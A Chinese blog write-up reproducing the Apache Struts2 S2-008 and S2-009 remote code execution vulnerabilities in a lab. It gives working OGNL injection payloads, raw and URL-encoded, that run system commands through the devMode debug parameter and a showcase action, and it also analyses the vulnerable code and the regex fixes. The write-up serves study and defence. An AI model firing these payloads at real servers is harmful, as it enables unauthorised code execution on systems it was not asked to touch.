• S2-008 &S2-009 远程代码执行漏洞检测与利用


    前言

    漏洞环境改自vulhub https://github.com/kingkaki/Struts2-Vulenv

    S2-008

    漏洞信息

    https://cwiki.apache.org/confluence/display/WW/S2-008

    主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码

    第一种情况其实就是S2-007,在异常处理时的OGNL执行

    第二种的cookie的方式,虽然在struts2没有对恶意代码进行限制,但是java的webserver(Tomcat),对cookie的名称有较多限制,在传入struts2之前就被处理,从而较为鸡肋

    第四种需要开启devModedebug模式

    漏洞利用

    这里复现采用的是第四种devMode的debug模式,造成的任意代码执行

    过程也比较简单,在struts.xml中配置了如下xml语句,就可以开启debug模式

    <constant name="struts.devMode" value="true" />

    然后传入?debug=command&expression=<OGNL EXP>即可执行OGNL表达式

    http://localhost:8888/devmode.action?debug=command&expression=%28%23application%29

    就可以看到应用的相关信息

    然后按照惯例弹个计算器,payload

    (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('calc').getInputStream()))

    传入前记得编码

    %28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%29%29

    漏洞分析

    感觉没有什么太多好分析的,触发地址

    S2-008/web/WEB-INF/lib/struts2-core-2.2.3.jar!/org/apache/struts2/interceptor/debugging/DebuggingInterceptor.class:87

    代码比较多,而且比较多的部分都是无用的代码,就简化了下

    public String intercept(ActionInvocation inv) throws Exception {
        boolean actionOnly = false;
        boolean cont = true;
        Boolean devModeOverride = FilterDispatcher.getDevModeOverride();
        boolean devMode = devModeOverride != null ? devModeOverride : this.devMode;
        final ActionContext ctx;
        if (devMode) {
            ctx = ActionContext.getContext();
            String type = this.getParameter("debug");
            ctx.getParameters().remove("debug");
            if ("xml".equals(type)) {
    			....
            } else if ("console".equals(type)) {
    			....
            } else if ("command".equals(type)) {
                ValueStack stack = (ValueStack)ctx.getSession().get("org.apache.struts2.interceptor.debugging.VALUE_STACK");
                if (stack == null) {
                    stack = (ValueStack)ctx.get("com.opensymphony.xwork2.util.ValueStack.ValueStack");
                    ctx.getSession().put("org.apache.struts2.interceptor.debugging.VALUE_STACK", stack);
                }
    
                String cmd = this.getParameter("expression");
                ServletActionContext.getRequest().setAttribute("decorator", "none");
                HttpServletResponse res = ServletActionContext.getResponse();
                res.setContentType("text/plain");
    
                try {
                    PrintWriter writer = ServletActionContext.getResponse().getWriter();
                    writer.print(stack.findValue(cmd));
                    writer.close();
                } catch (IOException var17) {
                    var17.printStackTrace();
                }
                .....

    一开始取出get中的debug参数的值,然后进入if语句

    当值等于command时,取出expression的值赋值给cmd

    通过statck.findValue即可执行OGNL表达式,造成代码执行

    漏洞修复

    主要是加强了对于参数的正则匹配ParametersInterceptor.class(左边为修补后的,右边为有漏洞的版本)

    CookieInterceptor.class中也做了限制

    S2-009

    漏洞信息

    https://cwiki.apache.org/confluence/display/WW/S2-009

    在修补了S2-003和S2-005之后,攻击者又发现了一种新的绕过ParametersInterceptor正则保护的攻击方式

    当传入(ONGL)(1)时,会将前者视为ONGL表达式来执行,从而绕过了正则的匹配保护。而且由于其在HTTP参数值中,也可以进一步绕过字符串限制的保护

    漏洞利用

    这回是直接利用官方的showcasewar包来演示漏洞利用

    触发地址/ajax/example5.action

    在网上找了个有回显的payload

    age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+#_memberAccess["allowStaticMethodAccess"]=true,+#a=@java.lang.Runtime@getRuntime().exec('ls').getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReader(#b),#d=new+char[51020],#c.read(#d),#kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]

    编码后完整的url

    http://192.168.85.133:8080/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

    网页访问会返回一个文件下载,这里直接用burp会方便点,可以直接看

    漏洞分析

    感觉这回的没什么好分析的,还是之前提的

    当传入(ONGL)(1)时,会将前者视为ONGL表达式来执行,从而绕过了正则的匹配保护。而且由于其在HTTP参数值中,也可以进一步绕过字符串限制的保护

    主要还是参数过滤的问题,可以配合漏洞修复一起看看

    漏洞修复

    在参数拦截器中,将接受参数的正则进行了升级

    struts2.3.1.1:

    private String acceptedParamNames = "[a-zA-Z0-9\.\]\[\(\)_']+";

    struts2.3.1.2:

    private String acceptedParamNames = "\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['\w+'\])|(\('\w+'\)))*";

    从而防御了(ONGL)(1)形式的攻击

    Reference Links

    https://www.jianshu.com/p/68bf5ca2d61f

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    205. Isomorphic Strings
    8 旋转数组的最小数字
    303. Range Sum Query
    70. Climbing Stairs
    HDU 5971 Wrestling Match (二分图)
    URAL 2019 Pair: normal and paranormal (STL栈)
    URAL 2021 Scarily interesting! (贪心+题意)
    URAL 2018 The Debut Album (DP)
    HDU 5236 Article (概率DP+贪心)
    HDU 5241 Friends (大数)
  • 原文地址:https://www.cnblogs.com/devi1/p/13486631.html
Copyright © 2020-2023  润新知